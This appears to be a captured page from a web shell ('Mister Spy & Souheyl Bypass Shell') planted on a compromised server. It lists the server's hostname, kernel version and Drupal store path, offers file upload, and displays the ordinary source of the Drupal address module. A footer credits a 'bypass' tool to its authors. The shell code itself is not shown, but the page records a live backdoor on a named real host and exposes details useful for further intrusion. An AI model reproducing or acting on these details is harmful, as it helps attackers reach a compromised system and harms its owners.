Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/store/web/modules/contrib/address/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/store/web/modules/contrib/address/address.module

<?php

/**
 * @file
 * Provides functionality for handling postal addresses.
 */

use Drupal\Core\Entity\EntityInterface;

/**
 * Implements hook_theme().
 */
function address_theme() {
  return [
    'address_plain' => [
      'variables' => [
        'given_name' => '',
        'additional_name' => '',
        'family_name' => '',
        'organization' => '',
        'address_line1' => '',
        'address_line2' => '',
        'postal_code' => '',
        'sorting_code' => '',
        'dependent_locality' => [],
        'locality' => [],
        'administrative_area' => [],
        'country' => [],
        'address' => NULL,
        'view_mode' => '',
      ],
    ],
  ];
}

/**
 * Implements hook_theme_suggestions_HOOK().
 */
function address_theme_suggestions_address_plain(array $variables) {
  $suggestions = [];
  $original = $variables['theme_hook_original'] . '__';
  $field = $variables['address']->getFieldDefinition();
  $entity_type_id = $field->getTargetEntityTypeId();
  $bundle = $field->getTargetBundle();
  $sanitized_view_mode = strtr($variables['view_mode'], '.', '_');

  $suggestions[] = $original . $entity_type_id . '__' . $sanitized_view_mode;
  $suggestions[] = $original . $entity_type_id . '__' . $bundle;
  $suggestions[] = $original . $entity_type_id . '__' . $bundle . '__' . $sanitized_view_mode;
  $suggestions[] = $original . $field->getName();
  $suggestions[] = $original . $entity_type_id . '__' . $field->getName();
  $suggestions[] = $original . $entity_type_id . '__' . $field->getName() . '__' . $bundle;

  return $suggestions;
}

/**
 * Updates the given entity's field for the RC1 changes.
 *
 * @param \Drupal\Core\Entity\EntityInterface $entity
 *   The entity.
 * @param string $field_name
 *   The name of the field to update.
 */
function _address_update_entity(EntityInterface $entity, $field_name) {
  $update_helper = '\CommerceGuys\Addressing\UpdateHelper';
  foreach ($entity->{$field_name} as $delta => $address) {
    $names = $update_helper::splitRecipient($address->given_name, $address->country_code);
    $address->given_name = $names['givenName'];
    $address->family_name = $names['familyName'];
    // Now update the subdivisions.
    $address->administrative_area = $update_helper::updateSubdivision($address->administrative_area);
    $address->locality = $update_helper::updateSubdivision($address->locality);
    $address->dependent_locality = $update_helper::updateSubdivision($address->dependent_locality);
  }
}

/**
 * Implements hook_module_implements_alter() for hook_tokens.
 */
function address_module_implements_alter(&$implementations, $hook) {
  if ($hook == 'tokens') {
    $group = $implementations['address'];
    unset($implementations['address']);
    $implementations['address'] = $group;
  }
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net